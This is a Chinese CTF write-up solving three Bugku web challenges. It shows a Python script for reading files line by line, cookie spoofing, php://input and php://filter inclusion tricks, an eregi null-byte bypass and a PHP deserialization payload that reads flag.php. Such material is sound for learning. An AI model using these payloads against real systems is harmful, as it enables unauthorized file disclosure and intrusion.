记录一下今天bugku web一些没做上的题目

cookie欺骗

首页是这样的

bugku题目cookies_字符串

发现了一段base64,解码为key.txt,猜测是把filename文件里的内容读出来,那么我们试试读取index.php

因为用的base64,所以我们把index.php也加密一下

bugku题目cookies_字符串_02

发现是空的,又看到有一个line参数,尝试一下

bugku题目cookies_字符串_03

发现有内容,上脚本吧,因为水平太菜所以现在尽量能用脚本就用脚本,多学多练



#!/usr/bin/env python # coding=utf-8 import requests for i in range(30): url = 'http://123.206.87.240:8002/web11/index.php?filename=aW5kZXgucGhw&line='+str(i) r = requests.get(url=url) print r.content



跑完以后发现一段php代码,那就开始看吧


<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>

大概意思就是当cookie存在并且margin=margin时,我们就可以访问到keys.php这个文件,用bp看看

bugku题目cookies_字符串_04

 

 flag出来了

 

 

 

never give up

打开网站 F12  必做准备

bugku题目cookies_字符串_05

发现注释里有1p.html,试试,结果直接跳转到了这个页面

bugku题目cookies_bugku题目cookies_06

一直没想通,后来上网看看大佬们的回答,应该是302跳转吧,两种办法,一是抓包查看,二是用view-source查看页面源代码

不知道为什么当时忘了抓包,还是太菜...

bugku题目cookies_bugku题目cookies_07

发现了一大堆东西,有点熟悉,应该是有url和base64加密,解密3次 url->base64->url


";if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("f4l2a3g.txt"); } else { print "never never never give up !!!"; } ?>

出现了php代码,审计吧

让我们传入3个参数,a,b,id,

a里不能有.  并且读取a里的内容为bugku is a nice plateform!  当我们看到@file_get_contents()这个函数时,首先就要想到php://input这个协议

id不能为0或空,但是要等于0,$id 的值只能为非空非零字符串,$id="abc"

b的长度大于5,eregi()借用一下大佬的话

eregi() 截断漏洞

CTF 题做多了就知道 ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。

源码中待匹配字符串(第二个参数)已确定为 "1114",正则表达式(第一个参数)由 "111" 连接 $b 的第一个字符组成,若令 substr($b,0,1) = "%00",即满足 "1114" 与 "111" 匹配。因此,这里假设 $b = "%0012345",才能满足以上三个条件。

bugku题目cookies_bugku题目cookies_08

得到flag

 

 

 

welcome to bugkuctf

这道题是PHP反序列化漏洞

bugku题目cookies_字符串_09

访问页面,发现注释里有代码


$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{ echo "you are not admin ! "; }


根据代码构造payload

 

bugku题目cookies_php_10

发现除了正文变了其他没有变化,这时我看到有include()文件包含,尝试php://filter协议

bugku题目cookies_bugku题目cookies_11

出现了一段base64,解码为


<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>"; return ("good"); } } } ?>

发现了__tostring() 函数作用是传入一个file,并读取file文件里的内容     再次借用大佬的一段话

这个时候,我们就要了解一下PHP里面的魔术方法了,魔法函数一般是以__开头,通常会因为某些条件而触发不用我们手动调用:

在研究反序列化漏洞的时候,碰见这几个魔法函数就要仔细研究研究了:

__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当一个对象被当作一个字符串使用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用

 

因为看到了flag.php 尝试一下

bugku题目cookies_字符串_12

一堆乱码?? 还是解不出题。百度一下,说再查看一下index.php的内容

bugku题目cookies_字符串_13

解码

 


<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ echo "you are not the number of bugku ! "; } ?> <!-- $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>"; include($file); //hint.php }else{ echo "you are not admin ! "; } -->


查看代码,发现unserialize函数,而且file不能包含flag,否则就会有乱码,怪不得。

因为要调用hint.php里的方法,所以file为hint.php,让我们传入一个序列化后的password能够触发Flag类的__tostring函数。

password就是O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

bugku题目cookies_字符串_14

flag出来了

但是有一个地方一直不懂,为什么会有echo $password的存在并且没有显示出来,反序列化后是一个对象,自己试echo会有报错